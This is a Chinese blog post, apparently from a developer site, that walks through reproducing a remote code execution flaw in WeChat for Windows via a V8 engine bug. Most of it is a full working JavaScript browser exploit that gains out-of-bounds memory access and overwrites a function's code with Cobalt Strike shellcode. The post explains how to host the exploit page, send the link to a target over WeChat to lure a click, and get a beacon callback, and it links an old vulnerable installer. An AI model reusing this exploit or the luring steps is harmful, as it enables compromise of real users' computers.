Wechat远程代码执行漏洞复现(附旧版链接)

一、漏洞介绍

微信windows版是一款跨平台的通讯工具。微信windows版存在远程代码执行漏洞,攻击者可能利 用该漏洞执行恶意代码。Google Chrome使用的V8引擎存在一处安全问题,该问题可能会影响 Windows微信及使用该引擎的软件。

二、影响版本

微信3.2.1.141以下所有版本

三、漏洞复现
1、使用Cobalt Strike生成shellcode

在这里插入图片描述

2、处理shellcode
将shellcode前后删除,删除双引号
将\批量替换为 ,0 注意逗号是英文逗号
替换完之后的shellcode如下:

在这里插入图片描述

shellcode放于js里

ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [生成的shellcode];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}
function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}
function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;
    this.page_buffer = null;
    this.page_view = null;
    this.prevent_opt = [];
    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;
    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }
    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);
    new RegExp({ toString: function () { return 'a' } });
    cb(true);
    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );
            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }
    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }
        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }
        return DerivedN;
    })`);
    gc();
    new (derived_n(tDerivedNDepth))();
    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }
    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }
    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }
    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }
    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }
    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}
function trigger() {
    var oob = oobAccess();
    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));
    var kCodeInsOffset = 0x1b;
    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));
    oob.setBytes(code_addr, shellcode);
    target_function(0);
}
try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

组合到html里

<head>
<title>dudu</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<h1>dudu</h1>
<script>
Js代码修改好的直接复制到这块代码区
</script>

开启web服务

python2 -m SimpleHTTPServer 8000

在这里插入图片描述

微信发送引导点击

旧微信3.1x安装包下载:
链接:https://pan.baidu.com/s/1JLJcCZwx1WfQhfNcO2_Q5A 提取码:sxfi

上线成功

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值